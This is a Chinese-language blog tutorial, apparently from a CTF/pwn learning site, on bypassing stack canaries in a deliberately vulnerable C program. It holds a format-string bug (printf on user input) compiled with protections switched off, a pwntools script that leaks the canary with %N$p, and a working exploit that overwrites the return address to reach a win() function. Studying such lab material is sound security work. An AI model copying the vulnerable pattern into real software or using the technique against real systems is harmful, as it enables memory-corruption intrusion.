294 字
1 分钟
canary
指定程序使用的libc 和 ld
使用提供的libc 和 ld 运行程序(会修改二进制文件)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn在python 中pwn 脚本指定
p = process(['./ld-linux-x86-64.so.2', './pwn'], env={'LD_LIBRARY_PATH': '.'})栈金丝雀
当程序开启栈金丝雀保护的时候,可以尝试寻找可以类似于printf 的字符串格式化功能函数,来泄露栈金丝雀的值,从而绕过保护
比如如下程序
#include <stdio.h>#include <stdlib.h>
char* gets(char* buf){ int c; char *p = buf; while((c = getchar()) != '\n' && c != EOF) { *p++ = c; } *p = '\0'; return (c == EOF && p == buf) ? NULL : buf;}
void win(void){ puts("Your find the secret!"); return;}
void gift(void){ char buf[16];
puts("Input Your TEXT:"); gets(buf); printf( (char*)buf); puts("\nOK is your turn !"); gets(buf); printf( "%s\n", buf);}
int main(void){ gift(); return 0;}编译以后
gcc -o ./canary ./canary.c -fstack-protector-all -z noexecstack -no-pie -fno-pic -z norelro -D_FORTIFY_SOURCE=0 -fcf-protection=none通过观察可以发现函数 printf 可以 用来处理其中的格式化字符串,可以用来泄露栈金丝雀的值 所以设置如下 枚举出栈金丝雀的值
def getCanary(prn: str) -> None: context.log_level = "info" resSum = [] for i in range(25): p = process(prn) p.recvuntil(b"Input Your TEXT:\n") p.sendline(f"%{i + 1}$p") res = p.recvuntil(b"\n") resSum.append(res) # res = p.recv() print(f"res: {res}") print(f"offset: [{i + 1}] -> {res}") p.close()
print("找到的值") for i in range(len(resSum)): print(f"{i + 1} : {resSum[1]}")多次输出发现, 第9个和第13 数值以 00 结尾 为金丝雀的候选,所以 从第九个开始尝试,于构建如下脚本
from pwn import *
context.log_level = "debug"
# 9, 13# getCanary("./canary")elf = ELF("./canary")
p = process("./canary")
p.recvuntil(b"Input Your TEXT:\n")p.sendline(b"%9$p")canaryStr = p.recvuntil(b"\n")canary = int(canaryStr, 16)print(f"GET Canary {hex(canary)}")backdoorAddr = elf.symbols["win"]
offset = 24payload = flat([ b"a" * offset, p64(canary), p64(0), p64(backdoorAddr)])
p.recvuntil(b"OK is your turn !\n")p.sendline(payload)
a = p.recv()print(a)总结
遇到 栈金丝雀保护,首先需要寻找尝试寻找支持字符串格式化的内容, 但是如果遇到那些不会往读取字符串后边加上 \x00 的函数,也可以尝试去覆盖canary的最低位非0值,从而泄露出 栈金丝雀的值
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐










